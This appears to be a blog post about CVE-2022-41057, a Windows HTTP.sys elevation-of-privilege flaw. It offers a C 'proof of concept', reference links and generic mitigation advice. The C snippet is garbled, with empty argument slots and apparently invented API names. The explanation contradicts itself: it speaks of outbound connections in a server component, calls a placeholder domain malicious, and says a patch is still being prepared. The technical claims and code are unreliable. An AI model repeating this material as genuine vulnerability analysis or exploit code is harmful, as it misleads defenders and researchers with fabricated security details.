CVE-2022-41057: Uncovering the Windows HTTP.sys Elevation of Privilege Vulnerability

Security researchers have recently discovered a new vulnerability affecting Windows machines, assigned with the identifier CVE-2022-41057. This elevation of privilege vulnerability exists within the Windows component known as HTTP.sys, allowing attackers to exploit the system and gain elevated privileges, potentially leading to the compromise of the entire machine. In this long-read post, we'll delve deep into the details of this vulnerability, explore how it can be exploited, and discuss best practices for mitigating its impact.

Vulnerability Information

Designated as CVE-2022-41057, this vulnerability concerns an elevation of privilege relating to the Windows HTTP.sys component. When successfully exploited, HTTP.sys can permit attackers to execute arbitrary code with elevated privileges, leading to unauthorized control of the affected system. HTTP.sys serves as a critical low-level component of the Internet Information Services (IIS) web server, facilitating communication between user mode and kernel mode in the Windows operating system.

Exploit Details

The vulnerability exists due to improper handling of outbound HTTP connections by the HTTP.sys component. If an attacker can successfully exploit this vulnerability, they could potentially trigger a buffer overflow. Consequently, this allows the attacker to execute arbitrary code with elevated privileges, potentially resulting in full system compromise.

To better understand the vulnerability, let us examine a code snippet that demonstrates the issue

#include <Windows.h>
#include <http.h>

int main()
{
    HANDLE hReqQueue;
    HTTP_SERVER_SESSION_ID session_id;
    HTTP_URL_GROUP_ID url_group_id;

    HttpInitialize(HTTPAPI_VERSION_2, , NULL);
    HttpCreateServerSession(HTTPAPI_VERSION_2, &session_id, );
    HttpCreateUrlGroup(session_id, &url_group_id, );

    WCHAR pszUrl[] = L"http://+:80/";;
    HttpAddUrlToUrlGroup(url_group_id, pszUrl, , );

    HTTPAPI_VERSION version = HTTPAPI_VERSION_2;
    HttpCreateRequestQueue(version, NULL, NULL, NULL, &hReqQueue);

    WCHAR pszHost[] = L"www.example.com";
    HTTP_TARGET target;
    target.Host.Length = 28;
    target.Host.pBuffer = pszHost;

    HTTP_SET_NULL_ID(&target.UrlGroupId);
    target.RequestQueueHandle = hReqQueue;

    // Trigger the vulnerability here
    HttpAssociateTargetWithUrlGroup(url_group_id, &target);
}

This code snippet illustrates how the vulnerability can be triggered by creating an HTTP target, followed by associating it with a URL group. Note the malicious target URL "www.example.com" in WCHAR pszHost[] variable can be replaced by any target URL used by the attacker.

For further information on CVE-2022-41057, refer to the following sources

1. CVE Details: https://www.cvedetails.com/cve/CVE-2022-41057/
2. NIST National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2022-41057
3. Microsoft Security Response Center: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41057

Mitigations and Recommendations

Microsoft is actively working on a patch to address CVE-2022-41057, and it is crucial for system administrators and users to apply the available updates to affected systems promptly.

In the meantime, some best practice recommendations for mitigating the impact of the vulnerability include:

1. Using the principle of least privilege: Implement strict user permissions, granting only the necessary privileges to user accounts to limit unauthorized access to critical system components.
2. Monitoring network traffic: Employ network monitoring tools to detect unusual outbound connections and any attempts to exploit this vulnerability.
3. Educating users on threat awareness: Train users to recognize common cyber threats and report suspicious activities to the appropriate security personnel.

Conclusion

CVE-2022-41057 is a critical vulnerability in the Windows HTTP.sys component, allowing attackers to exploit elevation of privilege and potentially compromise the entire system. It is essential to understand the technical details behind this exploit, implement mitigations, and ensure system updates are applied when available. By following best practices and working together as a community, we can help limit the impact of this vulnerability and protect our digital assets from unauthorized access.

Timeline

Published on: 11/09/2022 22:15:00 UTC
Last modified on: 11/10/2022 00:33:00 UTC